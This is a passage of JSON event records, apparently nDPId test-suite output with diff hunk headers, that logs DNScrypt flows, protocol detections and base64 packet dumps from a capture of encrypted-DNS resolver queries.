AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":120,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":53,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305192710,"flow_src_last_pkt_time":946739305192710,"flow_dst_last_pkt_time":946739305192710,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305192710,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":53811,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":121,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305192727} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":121,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305192710,"pkt":"REREREREZmZmZmZmCABFAABQZY8Aub0RtV0KAAABwx5eHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00762{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":2,"flow_src_last_pkt_time":946739305155254,"flow_dst_last_pkt_time":946739305192746,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739305192746,"pkt":"ZmZmZmZmRERERERECABFAADSF6JAADcRFw2LO8h0CgAAAQG7ktsAvkG1c5CBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABwAwAEAABAABwgAB9fEROU0MAAgAABjDMcMbz7yA0RLegztcBfq7VeYHKBaMLey+aMNVSTMo4Qj51\/gmF1JL4mny7Kl7CHKqU1ouuslp1lX1chQTTD+JLJw323p3g\/i9lq2cywGbzFxjIXwRFrAIdM6Cq64tY4ksnDfbeneAAAAABX1N7RV9UzMU="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":123,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":54,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305192763,"flow_src_last_pkt_time":946739305192763,"flow_dst_last_pkt_time":946739305192763,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305192763,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":44282,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_src_last_pkt_time":946739305192763,"flow_dst_last_pkt_time":946739305192763,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305192763,"pkt":"REREREREZmZmZmZmCABFAAXcZZAgAL0RkIkKAAABwx5eHKz6IPsGBAWJMs0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":123,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":54,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305192763,"flow_src_last_pkt_time":946739305192763,"flow_dst_last_pkt_time":946739305192763,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305192763,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":44282,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":124,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305192783} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":124,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305192763,"pkt":"REREREREZmZmZmZmCABFAABQZZAAub0RtVwKAAABwx5eHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00762{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":2,"flow_src_last_pkt_time":946739305155306,"flow_dst_last_pkt_time":946739305194519,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739305194519,"pkt":"ZmZmZmZmRERERERECABFAADSF6NAADcRFwyLO8h0CgAAAQG75zoAvu1Tc5KBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABwAwAEAABAABwgAB9fEROU0MAAgAABjDMcMbz7yA0RLegztcBfq7VeYHKBaMLey+aMNVSTMo4Qj51\/gmF1JL4mny7Kl7CHKqU1ouuslp1lX1chQTTD+JLJw323p3g\/i9lq2cywGbzFxjIXwRFrAIdM6Cq64tY4ksnDfbeneAAAAABX1N7RV9UzMU="} 00758{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":2,"flow_src_last_pkt_time":946739305192615,"flow_dst_last_pkt_time":946739305214011,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"thread_ts_usec":946739305214011,"pkt":"ZmZmZmZmRERERERECABFAADQ+LRAADgRZ3HDHl4cCgAAASD7iEUAvOWBMsyAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAANu1cuNn82W5kyvuIYj3yDd11LkL534iAFDK9fBQA07jnu8CUEQwYJt1XxEE91D0YyFd2wLooVHv9yyAcc0SAAB5FL6yNLYbucmv1fHy4RsAcOv\/0XhGDt+qQ0bl\/YNRIXkUvrI0thu5ATQ9Gl8jB9hnnVXw"} 00758{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":2,"flow_src_last_pkt_time":946739305192522,"flow_dst_last_pkt_time":946739305214065,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"thread_ts_usec":946739305214065,"pkt":"ZmZmZmZmRERERERECABFAADQ+LVAADgRZ3DDHl4cCgAAASD7uvkAvLLLMs6AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAANu1cuNn82W5kyvuIYj3yDd11LkL534iAFDK9fBQA07jnu8CUEQwYJt1XxEE91D0YyFd2wLooVHv9yyAcc0SAAB5FL6yNLYbucmv1fHy4RsAcOv\/0XhGDt+qQ0bl\/YNRIXkUvrI0thu5ATQ9Gl8jB9hnnVXw"} @@ -274,10 +258,6 @@ 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":132,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":57,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305219319,"flow_src_last_pkt_time":946739305219319,"flow_dst_last_pkt_time":946739305219319,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305219319,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":33071,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_src_last_pkt_time":946739305219319,"flow_dst_last_pkt_time":946739305219319,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305219319,"pkt":"REREREREZmZmZmZmCABFAAXciBsgAL0RNMUKAAABjgTMb4EvAbsGBA3nAg4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":132,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":57,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305219319,"flow_src_last_pkt_time":946739305219319,"flow_dst_last_pkt_time":946739305219319,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305219319,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":33071,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":133,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305219331} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":133,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305219319,"pkt":"REREREREZmZmZmZmCABFAABQiBwAub0RWZcKAAABjgTMbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":134,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305219342} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":134,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305219319,"pkt":"REREREREZmZmZmZmCABFAABQiBsAub0RWZgKAAABjgTMbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":135,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":58,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305219372,"flow_src_last_pkt_time":946739305219372,"flow_dst_last_pkt_time":946739305219372,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305219372,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":43505,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01200{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_src_last_pkt_time":946739305219372,"flow_dst_last_pkt_time":946739305219372,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739305219372,"pkt":"REREREREZmZmZmZmCABFAAIciB1AAL0RGIMKAAABjgTMb6nxAbsCCB1KAg8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":135,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":58,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305219372,"flow_src_last_pkt_time":946739305219372,"flow_dst_last_pkt_time":946739305219372,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305219372,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":43505,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} @@ -287,8 +267,6 @@ 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":137,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":60,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305219453,"flow_src_last_pkt_time":946739305219453,"flow_dst_last_pkt_time":946739305219453,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305219453,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":46856,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_src_last_pkt_time":946739305219453,"flow_dst_last_pkt_time":946739305219453,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305219453,"pkt":"REREREREZmZmZmZmCABFAAXciB8gAL0RNMEKAAABjgTMb7cIAbsGBNgLAhABAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA